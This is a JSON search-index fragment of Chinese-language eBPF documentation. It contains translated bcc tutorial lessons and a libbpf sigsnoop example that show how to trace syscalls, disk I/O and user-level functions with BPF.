to_uid = 128203, to_gid = 100, from_uid = 128203 示例 2 假设您想要统计基于bpf的性能监控工具中的非自愿上下文切换（nvcsw），而您不知道正确的方法是什么。/proc//status已经告诉您进程的非自愿上下文切换（nonvoluntary_ctxt_switches）的数量，并且您可以使用trace.py进行快速实验以验证您的方法。根据内核源代码，nvcsw在文件linux/kernel/sched/core.c的__schedule函数中计数，并满足以下条件： .!(!preempt && prev->state) // 即 preempt || !prev->state __schedule 函数被标记为 notrace ，评估上述条件的最佳位置似乎在函数 __schedule 内部的 sched/sched_switch 跟踪点中，并且在 linux/include/trace/events/sched.h 中定义。trace.py 已经将 args 设置为跟踪点 TP_STRUCT__entry 的指针。函数 __schedule 中的上述条件可以表示为 args->prev_state == TASK_STATE_MAX || args->prev_state == 0 可以使用以下命令来计算非自愿上下文切换（每个进程或每个进程ID），并与 /proc//status 或 /proc//task//status 进行比较，以确保正确性，因为在典型情况下，非自愿上下文切换并不常见。 $ trace.py -p 1134138 't:sched:sched_switch (args->prev_state == TASK_STATE_MAX || args->prev_state == 0)'\nPID TID COMM FUNC\n1134138 1134140 contention_test sched_switch\n1134138 1134142 contention_test sched_switch\n...\n$ trace.py -L 1134140 't:sched:sched_switch (args->prev_state == TASK_STATE_MAX || args->prev_state == 0)'\nPID TID COMM FUNC\n1134138 1134140 contention_test sched_switch\n1134138 1134140 contention_test sched_switch\n... 示例 3 此示例与问题 1231 和 1516 相关，其中在某些情况下，uprobes 完全无法工作。首先，你可以执行以下 strace $ strace trace.py 'r:bash:readline \"%s\", retval'\n...\nperf_event_open(0x7ffd968212f0, -1, 0, -1, 0x8 /* PERF_FLAG_??? */) = -1 EIO (Input/output error)\n... perf_event_open系统调用返回-EIO。在/kernel/trace和/kernel/events目录中查找与EIO相关的内核uprobe代码，函数uprobe_register最可疑。让我们找出是否调用了这个函数，如果调用了，返回值是什么。在一个终端中使用以下命令打印出uprobe_register的返回值： trace.py 'r::uprobe_register \"ret = %d\", retval' 在另一个终端中运行相同的bash uretprobe跟踪示例，您应该得到： $ trace.py 'r::uprobe_register \"ret = %d\", retval'\nPID TID COMM FUNC -\n1041401 1041401 python2.7 uprobe_register ret = -5 错误代码-5是EIO。这证实了函数uprobe_register中的以下代码是最可疑的罪魁祸首。 if (!inode->i_mapping->a_ops->readpage && !shmem_mapping(inode->i_mapping)) return -EIO; shmem_mapping函数定义如下： bool shmem_mapping(struct address_space *mapping)\n{ return mapping->a_ops == &shmem_aops;\n} 为了确认这个理论，使用以下命令找出inode->i_mapping->a_ops的值： $ trace.py -I 'linux/fs.h' 'p::uprobe_register(struct inode *inode) \"a_ops = %llx\", inode->i_mapping->a_ops'\nPID TID COMM FUNC -\n814288 814288 python2.7 uprobe_register a_ops = ffffffff81a2adc0\n^C$ grep ffffffff81a2adc0 /proc/kallsyms\nffffffff81a2adc0 R empty_aops 内核符号empty_aops没有定义readpage，因此上述可疑条件为真。进一步检查内核源代码显示，overlayfs没有提供自己的a_ops，而其他一些文件系统（例如ext4）定义了自己的a_ops（例如ext4_da_aops），并且ext4_da_aops定义了readpage。因此，uprobe对于ext4正常工作，但在overlayfs上不正常工作。 更多 示例 。 2.2. argdist\"。更多 示例 2.3. funccount 更多 示例 .","breadcrumbs":"bcc Tutorial » 2. 使用通用工具进行可观察性","id":"370","title":"2. 使用通用工具进行可观察性"},"371":{"body":"To do.","breadcrumbs":"bcc Tutorial » 网络","id":"371","title":"网络"},"372":{"body":"本教程介绍使用 Python 接口开发 bcc 工具和程序。分为两个部分：可观测性和网络。代码片段取自 bcc 的各个程序，请查阅其文件以了解许可证情况。 还请参阅 bcc 开发者的 参考指南 ，以及针对工具的用户的教程： 教程 。还有适用于 bcc 的 lua 接口。","breadcrumbs":"bcc Python Developer Tutorial » bcc Python 开发者教程","id":"372","title":"bcc Python 开发者教程"},"373":{"body":"这个可观测性教程包含17个课程和46个要学习的枚举事项。","breadcrumbs":"bcc Python Developer Tutorial » 可观测性","id":"373","title":"可观测性"},"374":{"body":"首先运行 examples/hello_world.py ，同时在另一个会话中运行一些命令（例如，“ls”）。它应该会为新进程打印“Hello, World!”。如果没有打印，请先修复bcc：请参阅 INSTALL.md 。 # ./examples/hello_world.py bash-13364 [002] d... 24573433.052937: : Hello, World! bash-13364 [003] d... 24573436.642808: : Hello, World!\n[...] 以下是 hello_world.py 的代码示例： from bcc import BPF\nBPF(text='int kprobe__sys_clone(void *ctx) { bpf_trace_printk(\"Hello, World!\\\\n\"); return 0; }').trace_print() 从中可以学到六件事情： text='...'：这定义了内联的 BPF 程序。该程序是用 C 编写的。 kprobe__sys_clone()：这是通过 kprobes 动态跟踪内核的一种快捷方式。如果 C 函数以 kprobe__ 开头，其余部分将被视为要定位的内核函数名称，本例中为 sys_clone()。 void *ctx：ctx 是参数，但由于我们在此处未使用它们，所以我们将其转换为 void* 类型。 bpf_trace_printk(): 用于将 printf() 打印到通用 trace_pipe (/sys/kernel/debug/tracing/trace_pipe) 的简单内核工具。 这对于一些快速示例是可以的，但有一些限制：最多只有 3 个参数，只能有一个 %s，并且 trace_pipe 是全局共享的，所以并发程序会有冲突的输出。更好的接口是通过 BPF_PERF_OUTPUT() 实现的，稍后会介绍。 return 0;: 必要的规范性代码（如果想知道原因，请参见 #139 ）。 .trace_print(): 一个读取 trace_pipe 并打印输出的 bcc 程序。","breadcrumbs":"bcc Python Developer Tutorial » 第1课. 你好，世界","id":"374","title":"第1课. 你好，世界"},"375":{"body":"编写一个跟踪 sys_sync() 内核函数的程序。运行时打印 \"sys_sync() called\"。在跟踪时，在另一个会话中运行 sync 进行测试。hello_world.py 程序中包含了这一切所需的内容。 通过在程序刚启动时打印 \"Tracing sys_sync()... Ctrl-C to end.\" 来改进它。提示：它只是 Python 代码。","breadcrumbs":"bcc Python Developer Tutorial » 第二课 sys_sync()","id":"375","title":"第二课 sys_sync()"},"376":{"body":"该程序位于 examples/tracing/hello_fields.py 。样本输出（在另一个会话中运行命令）： # examples/tracing/hello_fields.py\n时间(s) 进程名 进程 ID 消息\n24585001.174885999 sshd 1432 你好，世界！\n24585001.195710000 sshd 15780 你好，世界！\n24585001.991976000 systemd-udevd 484 你好，世界！\n24585002.276147000 bash 15787 你好，世界！ 代码： from bcc import BPF # 定义 BPF 程序\nprog = \"\"\"\nint hello(void *ctx) { bpf_trace_printk(\"你好，世界！\\\\n\"); return 0;\n}\n\"\"\" # 加载 BPF 程序\nb = BPF(text=prog)\nb.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\") # 头部\nprint(\"%-18s %-16s %-6s %s\" % (\"时间(s)\", \"进程名\", \"进程 ID\", \"消息\")) # 格式化输出\nwhile 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue print(\"%-18.9f %-16s %-6d %s\" % (ts, task, pid, msg)) 这与hello_world.py类似，并通过sys_clone()再次跟踪新进程，但是还有一些要学习的内容： prog =：这次我们将C程序声明为变量，然后引用它。如果您想根据命令行参数添加一些字符串替换，这将非常有用。 hello()：现在我们只是声明了一个C函数，而不是使用kprobe__的快捷方式。我们稍后会引用它。在BPF程序中声明的所有C函数都希望在探测器上执行，因此它们都需要以pt_reg* ctx作为第一个参数。如果您需要定义一些不会在探测器上执行的辅助函数，则需要将其定义为static inline，以便由编译器内联。有时您还需要为其添加_always_inline函数属性。 b.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\")：为内核clone系统调用函数创建一个kprobe，该函数将执行我们定义的hello()函数。您可以多次调用attach_kprobe()，并将您的C函数附加到多个内核函数上。 b.trace_fields()：从trace_pipe中返回一组固定的字段。与trace_print()类似，它对于编写脚本很方便，但是对于实际的工具化需求，我们应该切换到BPF_PERF_OUTPUT()。","breadcrumbs":"bcc Python Developer Tutorial » 第三课 hello_fields.py","id":"376","title":"第三课 hello_fields.py"},"377":{"body":"还记得以前系统管理员在缓慢的控制台上输入sync三次然后才重启吗？后来有人认为sync;sync;sync很聪明，将它们都写在一行上运行，尽管这违背了最初的目的！然后，sync变成了同步操作，所以更加愚蠢。无论如何。 以下示例计算了do_sync函数被调用的速度，并且如果它在一秒钟之内被调用，则输出信息。sync;sync;sync将为第2个和第3个sync打印输出： # examples/tracing/sync_timing.py\n追踪快速sync... 按Ctrl-C结束\"。 在时间0.00秒时：检测到多个同步，上次发生在95毫秒前 在时间0.10秒时：检测到多个同步，上次发生在96毫秒前 此程序是 examples/tracing/sync_timing.py ： from __future__ import print_function\nfrom bcc import BPF # 加载BPF程序\nb = BPF(text=\"\"\"\n#include  BPF_HASH(last); int do_trace(struct pt_regs *ctx) { u64 ts, *tsp, delta, key = 0; // 尝试读取存储的时间戳 tsp = last.lookup(&key); if (tsp != NULL) { delta = bpf_ktime_get_ns() - *tsp; if (delta < 1000000000) { // 时间小于1秒则输出 bpf_trace_printk(\"%d\\\\n\", delta / 1000000); } last.delete(&key); } // 更新存储的时间戳 ts = bpf_ktime_get_ns(); last.update(&key, &ts); return 0;\n}\n\"\"\") b.attach_kprobe(event=b.get_syscall_fnname(\"sync\"), fn_name=\"do_trace\")\nprint(\"跟踪快速同步... 按Ctrl-C结束\") # 格式化输出\nstart = 0\nwhile 1: (task, pid, cpu, flags, ts, ms) = b.trace_fields() if start == 0: start = ts ts = ts - start print(\"在时间%.2f秒处：检测到多个同步，上次发生在%s毫秒前\" % (ts, ms)) 学习内容： bpf_ktime_get_ns(): 返回时间，单位为纳秒。 BPF_HASH(last): 创建一个BPF映射对象，类型为哈希（关联数组），名为\"last\"。我们没有指定其他参数，因此默认的键和值类型为u64。 key = 0: 我们只会在哈希中存储一个键值对，其中键被硬编码为零。 last.lookup(&key): 在哈希中查找键，并如果存在则返回其值的指针，否则返回NULL。我们将键作为指针的地址传递给该函数。 if (tsp != NULL) {: 验证器要求在将从映射查找得到的指针值解引用使用之前，必须先检查其是否为null。1. last.delete(&key): 从哈希表中删除key。目前需要这样做是因为 .update()中存在一个内核错误 （在4.8.10中已经修复）。 last.update(&key, &ts): 将第二个参数的值与key关联起来，覆盖之前的任何值。这会记录时间戳。","breadcrumbs":"bcc Python Developer Tutorial » Lesson 4. sync_timing.py","id":"377","title":"Lesson 4. sync_timing.py"},"378":{"body":"修改sync_timing.py程序（前一课）以存储所有内核同步系统调用（包括快速和慢速）的计数，并将其与输出一起打印出来。可以通过向现有哈希表添加一个新的键索引来在BPF程序中记录此计数。","breadcrumbs":"bcc Python Developer Tutorial » 第5课. sync_count.py","id":"378","title":"第5课. sync_count.py"},"379":{"body":"浏览 examples/tracing/disksnoop.py 程序以了解新内容。以下是一些示例输出： # disksnoop.py\n时间(s) T 字节 延迟(ms)\n16458043.436012 W 4096 3.13\n16458043.437326 W 4096 4.44\n16458044.126545 R 4096 42.82\n16458044.129872 R 4096 3.24\n[...] 以及代码片段： [...]\nREQ_WRITE = 1 # 来自include/linux/blk_types.h # 加载BPF程序\nb = BPF(text=\"\"\"\n#include \n#include  BPF_HASH(start, struct request *); void trace_start(struct pt_regs *ctx, struct request *req) { // 使用请求指针存储开始时间戳 u64 ts = bpf_ktime_get_ns(); start.update(&req, &ts);\n} void trace_completion(struct pt_regs *ctx, struct request *req) { u64 *tsp, delta; tsp = start.lookup(&req); if (tsp != 0) { delta = bpf_ktime_get_ns() - *tsp; bpf_trace_printk(\"%d %x %d\\\\n\", req->__data_len, req->cmd_flags, delta / 1000); start.delete(&req); }\n}\n\"\"\")\nif BPF.get_kprobe_functions(b'blk_start_request'): b.attach_kprobe(event=\"blk_start_request\", fn_name=\"trace_start\")\nb.attach_kprobe(event=\"blk_mq_start_request\", fn_name=\"trace_start\")\nif BPF.get_kprobe_functions(b'__blk_account_io_done'): b.attach_kprobe(event=\"__blk_account_io_done\", fn_name=\"trace_completion\") else: b.attach_kprobe(event=\"blk_account_io_done\", fn_name=\"trace_completion\") [...] 学习内容： REQ_WRITE: 我们在Python程序中定义了一个内核常量，因为我们后面会在Python程序中使用它。如果我们在BPF程序中使用REQ_WRITE，它应该可以正常工作（无需定义），只需使用适当的#includes。 trace_start(struct pt_regs *ctx, struct request*req): 这个函数将在后面附加到kprobe上。kprobe函数的参数是struct pt_regs *ctx，用于寄存器和BPF上下文，然后是函数的实际参数。我们将把它附加到blk_start_request()上，其中第一个参数是struct request*。 start.update(&req, &ts): 我们使用请求结构的指针作为哈希中的键。这在跟踪中很常见。结构体指针是非常好的键，因为它们是唯一的：两个结构体不能具有相同的指针地址。（只需小心何时释放和重用指针。）所以我们实际上是给描述磁盘I/O的请求结构体打上我们自己的时间戳，以便我们可以计时。存储时间戳常用的两个键是结构体指针和线程ID（用于记录函数入口到返回的时间）。 req->__data_len: 我们在解引用struct request的成员。请参阅内核源代码中对其定义的部分以获得有关哪些成员可用的信息。bcc实际上会将这些表达式重写为一系列bpf_probe_read_kernel()调用。有时bcc无法处理复杂的解引用，此时您需要直接调用bpf_probe_read_kernel()。 这是一个非常有趣的程序，如果您能理解所有的代码，您就会理解很多重要的基础知识。我们仍然在使用bpf_trace_printk()的技巧，我们下一步要解决这个问题。","breadcrumbs":"bcc Python Developer Tutorial » 第6课. disksnoop.py","id":"379","title":"第6课. disksnoop.py"},"38":{"body":"示例代码如下： #include \n#include \n#include  #define MAX_ENTRIES 10240\n#define TASK_COMM_LEN 16 struct event { unsigned int pid; unsigned int tpid; int sig; int ret; char comm[TASK_COMM_LEN];\n}; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, __u32); __type(value, struct event);\n} values SEC(\".maps\"); static int probe_entry(pid_t tpid, int sig)\n{ struct event event = {}; __u64 pid_tgid; __u32 tid; pid_tgid = bpf_get_current_pid_tgid(); tid = (__u32)pid_tgid; event.pid = pid_tgid >> 32; event.tpid = tpid; event.sig = sig; bpf_get_current_comm(event.comm, sizeof(event.comm)); bpf_map_update_elem(&values, &tid, &event, BPF_ANY); return 0;\n} static int probe_exit(void *ctx, int ret)\n{ __u64 pid_tgid = bpf_get_current_pid_tgid(); __u32 tid = (__u32)pid_tgid; struct event *eventp; eventp = bpf_map_lookup_elem(&values, &tid); if (!eventp) return 0; eventp->ret = ret; bpf_printk(\"PID %d (%s) sent signal %d \", eventp->pid, eventp->comm, eventp->sig); bpf_printk(\"to PID %d, ret = %d\", eventp->tpid, ret); cleanup: bpf_map_delete_elem(&values, &tid); return 0;\n} SEC(\"tracepoint/syscalls/sys_enter_kill\")\nint kill_entry(struct trace_event_raw_sys_enter *ctx)\n{ pid_t tpid = (pid_t)ctx->args[0]; int sig = (int)ctx->args[1]; return probe_entry(tpid, sig);\n} SEC(\"tracepoint/syscalls/sys_exit_kill\")\nint kill_exit(struct trace_event_raw_sys_exit *ctx)\n{ return probe_exit(ctx, ctx->ret);\n} char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 上面的代码定义了一个 eBPF 程序，用于捕获进程发送信号的系统调用，包括 kill、tkill 和 tgkill。它通过使用 tracepoint 来捕获系统调用的进入和退出事件，并在这些事件发生时执行指定的探针函数，例如 probe_entry 和 probe_exit。 在探针函数中，我们使用 bpf_map 存储捕获的事件信息，包括发送信号的进程 ID、接收信号的进程 ID、信号值和进程的可执行文件名称。在系统调用退出时，我们将获取存储在 bpf_map 中的事件信息，并使用 bpf_printk 打印进程 ID、进程名称、发送的信号和系统调用的返回值。 最后，我们还需要使用 SEC 宏来定义探针，并指定要捕获的系统调用的名称，以及要执行的探针函数。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc sigsnoop.bpf.c\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe systemd-journal-363 [000] d...1 672.563868: bpf_trace_printk: PID 363 (systemd-journal) sent signal 0 systemd-journal-363 [000] d...1 672.563869: bpf_trace_printk: to PID 1400, ret = 0 systemd-journal-363 [000] d...1 672.563870: bpf_trace_printk: PID 363 (systemd-journal) sent signal 0 systemd-journal-363 [000] d...1 672.563870: bpf_trace_printk: to PID 1527, ret = -3","breadcrumbs":"捕获进程发送信号的系统调用集合，使用 hash map 保存状态 » sigsnoop","id":"38","title":"sigsnoop"},"380":{"body":"让我们最终停止使用bpf_trace_printk()，并使用适当的BPF_PERF_OUTPUT()接口。这也意味着我们将停止获取免费的trace_field()成员，如PID和时间戳，并且需要直接获取它们。在另一个会话中运行命令时的示例输出 # hello_perf_output.py\nTIME(s) COMM PID MESSAGE\n0.000000000 bash 22986 你好，perf_output！\n0.021080275 systemd-udevd 484 你好，perf_output！\n0.021359520 systemd-udevd 484 你好，perf_output！\n0.021590610 systemd-udevd 484 你好，perf_output！\n[...] 代码位于 examples/tracing/hello_perf_output.py ： from bcc import BPF // 定义BPF程序\nprog = \"\"\"\n#include  // 在C中定义输出数据结构\nstruct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events); int hello(struct pt_regs *ctx) { struct data_t data = {}; data.pid = bpf_get_current_pid_tgid(); data.ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data.comm, sizeof(data.comm)); events.perf_submit(ctx, &data, sizeof(data)); return 0;\n}\n\"\"\" // 加载BPF程序\nb = BPF(text=prog)\nb.attach_kprobe(event=b.get_syscall_fnname(\"clone\"), fn_name=\"hello\") //标题\nprint(\"%-18s %-16s %-6s %s\" % (\"TIME(s)\", \"COMM\", \"PID\", \"MESSAGE\")) //处理事件\nstart = 0\ndef print_event(cpu, data, size): global start event = b[\"events\"].event(data) if start == 0: start = event.ts time_s = (float(event.ts - start)) / 1000000000 print(\"%-18.9f %-16s %-6d %s\" % (time_s, event.comm, event.pid, \"你好，perf_output！\")) //循环并回调print_event\nb[\"events\"].open_perf_buffer(print_event)\nwhile 1: b.perf_buffer_poll() 学习的内容： struct data_t: 这定义了一个C结构体，我们将用它来从内核传递数据到用户空间。1. BPF_PERF_OUTPUT(events): 这里给我们的输出通道命名为\"events\"。 struct data_t data = {};: 创建一个空的data_t结构体，我们将在之后填充它。 bpf_get_current_pid_tgid(): 返回低32位的进程ID（内核视图中的PID，用户空间中通常被表示为线程ID），以及高32位的线程组ID（用户空间通常认为是PID）。通过直接将其设置为u32，我们丢弃了高32位。应该显示PID还是TGID？对于多线程应用程序，TGID将是相同的，所以如果你想要区分它们，你需要PID。这也是对最终用户期望的一个问题。 bpf_get_current_comm(): 将当前进程的名称填充到第一个参数的地址中。 events.perf_submit(): 通过perf环形缓冲区将事件提交给用户空间以供读取。 def print_event(): 定义一个Python函数来处理从events流中读取的事件。 b[\"events\"].event(data): 现在将事件作为一个Python对象获取，该对象是根据C声明自动生成的。 b[\"events\"].open_perf_buffer(print_event): 将Python的print_event函数与events流关联起来。 while 1: b.perf_buffer_poll(): 阻塞等待事件。","breadcrumbs":"bcc Python Developer Tutorial » Lesson 7. hello_perf_output.py","id":"380","title":"Lesson 7. hello_perf_output.py"},"381":{"body":"重写之前的课程中的sync_timing.py，使用BPF_PERF_OUTPUT。","breadcrumbs":"bcc Python Developer Tutorial » 第八课。 sync_perf_output.py","id":"381","title":"第八课。 sync_perf_output.py"},"382":{"body":"以下工具记录了磁盘I/O大小的直方图。样本输出： # bitehist.py\n跟踪中... 按Ctrl-C结束。\n^C kbytes : count distribution 0 -> 1 : 3 | | 2 -> 3 : 0 | | 4 -> 7 : 211 |********** | 8 -> 15 : 0 | | 16 -> 31 : 0 | |\".32 -> 63 : 0 | | 64 -> 127 : 1 | | 128 -> 255 : 800 |**************************************| 代码在 examples/tracing/bitehist.py : from __future__ import print_function\nfrom bcc import BPF\nfrom time import sleep # 加载BPF程序\nb = BPF(text=\"\"\"\n#include \n#include  BPF_HISTOGRAM(dist); int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req)\n{ dist.increment(bpf_log2l(req->__data_len / 1024)); return 0;\n}\n\"\"\") # 头部\nprint(\"跟踪中... 按Ctrl-C结束.\") # 跟踪直到按下Ctrl-C\ntry: sleep(99999999)\nexcept KeyboardInterrupt: print() # 输出\nb[\"dist\"].print_log2_hist(\"kbytes\") 之前课程的总结： kprobe__: 这个前缀意味着其余部分将被视为一个将使用kprobe进行插桩的内核函数名。 struct pt_regs *ctx, struct request*req: kprobe的参数。ctx 是寄存器和BPF上下文，req 是被插桩函数 blk_account_io_done() 的第一个参数。 req->__data_len: 解引用该成员。 新知识： BPF_HISTOGRAM(dist): 定义了一个名为 \"dist\" 的BPF映射对象，它是一个直方图。 dist.increment(): 默认情况下，将第一个参数提供的直方图桶索引加1。也可以作为第二个参数传递自定义的增量。 bpf_log2l(): 返回所提供值的对数值。这将成为我们直方图的索引，这样我们构建了一个以2为底的幂直方图。 b[\"dist\"].print_log2_hist(\"kbytes\"): 以2为底的幂形式打印 \"dist\" 直方图，列标题为 \"kbytes\"。这样只有桶计数从内核传输到用户空间，因此效率高。","breadcrumbs":"bcc Python Developer Tutorial » 第九课。 bitehist.py","id":"382","title":"第九课。 bitehist.py"},"383":{"body":"这个例子分为独立的Python和C文件。示例输出： # vfsreadlat.py 1\n跟踪中... 按Ctrl-C停止。 微秒 : 数量 分布 0 -> 1 : 0 | | 2 -> 3 : 2 |*********** | 4 -> 7 : 7 |****************************************| 8 -> 15 : 4 |********************** | 微秒 : 数量 分布 0 -> 1 : 29 |****************************************| 2 -> 3 : 28 |************************************** | 4 -> 7 : 4 |***** | 8 -> 15 : 8 |*********** | 16 -> 31 : 0 | | 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | 256 -> 511 : 2 |** | 512 -> 1023 : 0 | | 1024 -> 2047 : 0 | | 2048 -> 4095 : 0 | | 4096 -> 8191 : 4 |***** | 8192 -> 16383 : 6 |******** | 16384 -> 32767 : 9 |************ |```.32768 -> 65535 : 6 |******** | 65536 -> 131071 : 2 |** | usecs : count distribution 0 -> 1 : 11 |****************************************| 2 -> 3 : 2 |******* | 4 -> 7 : 10 |************************************ | 8 -> 15 : 8 |***************************** | 16 -> 31 : 1 |*** | 32 -> 63 : 2 |******* |\n[...] 浏览 examples/tracing/vfsreadlat.py 和 examples/tracing/vfsreadlat.c 中的代码。 学习的内容: b = BPF(src_file = \"vfsreadlat.c\"): 从单独的源代码文件中读取 BPF C 程序。 b.attach_kretprobe(event=\"vfs_read\", fn_name=\"do_return\"): 将 BPF C 函数 do_return() 链接到内核函数 vfs_read() 的返回值上。这是一个 kretprobe：用于检测函数返回值，而不是函数的入口。 b[\"dist\"].clear(): 清除直方图。","breadcrumbs":"bcc Python Developer Tutorial » Lesson 10. disklatency.py”。#### Lesson 11. vfsreadlat.py","id":"383","title":"Lesson 10. disklatency.py”。#### Lesson 11. vfsreadlat.py"},"384":{"body":"当运行 dd if=/dev/urandom of=/dev/null bs=8k count=5 时进行跟踪： # urandomread.py\nTIME(s) COMM PID GOTBITS\n24652832.956994001 smtp 24690 384\n24652837.726500999 dd 24692 65536\n24652837.727111001 dd 24692 65536\n24652837.727703001 dd 24692 65536\n24652837.728294998 dd 24692 65536\n24652837.728888001 dd 24692 65536 哈！我意外地捕捉到了 smtp。代码在 examples/tracing/urandomread.py 中： from __future__ import print_function\".```python\nfrom bcc import BPF # 加载BPF程序\nb = BPF(text=\"\"\"\nTRACEPOINT_PROBE(random, urandom_read) { // args is from /sys/kernel/debug/tracing/events/random/urandom_read/format bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n}\n\"\"\") # header\nprint(\"%-18s %-16s %-6s %s\" % (\"TIME(s)\", \"COMM\", \"PID\", \"GOTBITS\")) # format output\nwhile 1: try: (task, pid, cpu, flags, ts, msg) = b.trace_fields() except ValueError: continue print(\"%-18.9f %-16s %-6d %s\" % (ts, task, pid, msg)) 要学到的东西： TRACEPOINT_PROBE(random, urandom_read): 对内核跟踪点 random:urandom_read 进行注入。这些具有稳定的API，因此在可能的情况下建议使用它们来代替kprobe。您可以运行 perf list 来获取跟踪点列表。至少需要 Linux 版本 4.7 来将 BPF 程序附加到跟踪点上。 args->got_bits: args 是自动填充的跟踪点参数结构。上面的注释指出了可以查看这个结构的位置。例如： # cat /sys/kernel/debug/tracing/events/random/urandom_read/format\nname: urandom_read\nID: 972\nformat: field:unsigned short common_type; offset:0; size:2; signed:0; field:unsigned char common_flags; offset:2; size:1; signed:0; field:unsigned char common_preempt_count; offset:3; size:1; signed:0; field:int common_pid; offset:4; size:4; signed:1; field:int got_bits; offset:8; size:4; signed:1; field:int pool_left; offset:12; size:4; signed:1; field:int input_left; offset:16; size:4; signed:1; print fmt: \"got_bits %d nonblocking_pool_entropy_left %d input_entropy_left %d\", REC->got_bits, REC->pool_left, REC->input_left 在这种情况下，我们正在打印 got_bits 成员。","breadcrumbs":"bcc Python Developer Tutorial » Lesson 12. urandomread.py","id":"384","title":"Lesson 12. urandomread.py"},"385":{"body":"将上一课的 disksnoop.py 修改为使用 block:block_rq_issue 和 block:block_rq_complete 跟踪点。","breadcrumbs":"bcc Python Developer Tutorial » 第13课. disksnoop.py已修复","id":"385","title":"第13课. disksnoop.py已修复"},"386":{"body":"这个程序对用户级函数进行插桩，其中包括 strlen() 库函数，并对其字符串参数进行频率统计。例如输出 # strlen_count.py\n跟踪 strlen()... 按 Ctrl-C 结束。\n^C 数量 字符串 1 \" \" 1 \"/bin/ls\" 1 \".\" 1 \"cpudist.py.1\" 1 \".bashrc\" 1 \"ls --color=auto\" 1 \"key_t\"\n[...] 10 \"a7:~# \" 10 \"/root\" 12 \"LC_ALL\" 12 \"en_US.UTF-8\" 13 \"en_US.UTF-8\" 20 \"~\" 70 \"#%^,~:-=?+/}\" 340 \"\\x01\\x1b]0;root@bgregg-test: ~\\x07\\x02root@bgregg-test:~# \" 这些是在跟踪时由此库函数处理的各种字符串以及它们的频率计数。例如，\"LC_ALL\" 被调用了12次。 代码在 examples/tracing/strlen_count.py 中： from __future__ import print_function\nfrom bcc import BPF\nfrom time import sleep # 载入 BPF 程序\nb = BPF(text=\"\"\"\n#include  struct key_t { char c[80];\n};\nBPF_HASH(counts, struct key_t); int count(struct pt_regs *ctx) { if (!PT_REGS_PARM1(ctx)) return 0; struct key_t key = {}; u64 zero = 0, *val; bpf_probe_read_user(&key.c, sizeof(key.c), (void *)PT_REGS_PARM1(ctx)); // 也可以使用 `counts.increment(key)` val = counts.lookup_or_try_init(&key, &zero); if (val) { (*val)++; } return 0;\n};\n\"\"\")\nb.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\") # 头部\nprint(\"跟踪 strlen()... 按 Ctrl-C 结束。\") # 睡眠直到按下 Ctrl-C\ntry: sleep(99999999)\nexcept KeyboardInterrupt: pass # 打印输出\nprint(\"%10s %s\" % (\"数量\", \"字符串\"))\ncounts = b.get_table(\"counts\")\nfor k, v in sorted(counts.items(), key=lambda counts: counts[1].value): print(\"%10d \\\"%s\\\"\" % (v.value, k.c.encode('string-escape'))) 要学习的内容：1. PT_REGS_PARM1(ctx): 这个参数会获取传递给 strlen() 的第一个参数，也就是字符串。 b.attach_uprobe(name=\"c\", sym=\"strlen\", fn_name=\"count\"): 附加到库 \"c\"（如果这是主程序，则使用其路径名），对用户级函数 strlen() 进行插装，并在执行时调用我们的 C 函数 count()。","breadcrumbs":"bcc Python Developer Tutorial » 第14课. strlen_count.py.","id":"386","title":"第14课. strlen_count.py."},"387":{"body":"本程序会对用户静态定义的跟踪 (USDT) 探测点进行插装，这是内核跟踪点的用户级版本。示例输出： # nodejs_http_server.py 24728\nTIME(s) COMM PID ARGS\n24653324.561322998 node 24728 path:/index.html\n24653335.343401998 node 24728 path:/images/welcome.png\n24653340.510164998 node 24728 path:/images/favicon.png 来自 examples/tracing/nodejs_http_server.py 的相关代码： from __future__ import print_function\nfrom bcc import BPF, USDT\nimport sys if len(sys.argv) < 2: print(\"USAGE: nodejs_http_server PID\") exit()\npid = sys.argv[1]\ndebug = 0 # load BPF program\nbpf_text = \"\"\"\n#include \nint do_trace(struct pt_regs *ctx) { uint64_t addr; char path[128]={0}; bpf_usdt_readarg(6, ctx, &addr); bpf_probe_read_user(&path, sizeof(path), (void *)addr); bpf_trace_printk(\"path:%s\\\\n\", path); return 0;\n};\n\"\"\" # enable USDT probe from given PID\nu = USDT(pid=int(pid))\nu.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\")\nif debug: print(u.get_text()) print(bpf_text) # initialize BPF\nb = BPF(text=bpf_text, usdt_contexts=[u]) 学习内容： bpf_usdt_readarg(6, ctx, &addr): 从 USDT 探测点中读取参数 6 的地址到 addr。 bpf_probe_read_user(&path, sizeof(path), (void *)addr): 现在字符串 addr 指向我们的 path 变量。 u = USDT(pid=int(pid)): 为给定的 PID 初始化 USDT 跟踪。1. u.enable_probe(probe=\"http__server__request\", fn_name=\"do_trace\"): 将我们的 do_trace() BPF C 函数附加到 Node.js 的 http__server__request USDT 探针。 b = BPF(text=bpf_text, usdt_contexts=[u]): 需要将我们的 USDT 对象 u 传递给 BPF 对象的创建。","breadcrumbs":"bcc Python Developer Tutorial » 第15课。nodejs_http_server.py","id":"387","title":"第15课。nodejs_http_server.py"},"388":{"body":"这是一个早期的教程，作为额外的课程包含其中。用它来复习和加深你已经学到的内容。 这是一个比 Hello World 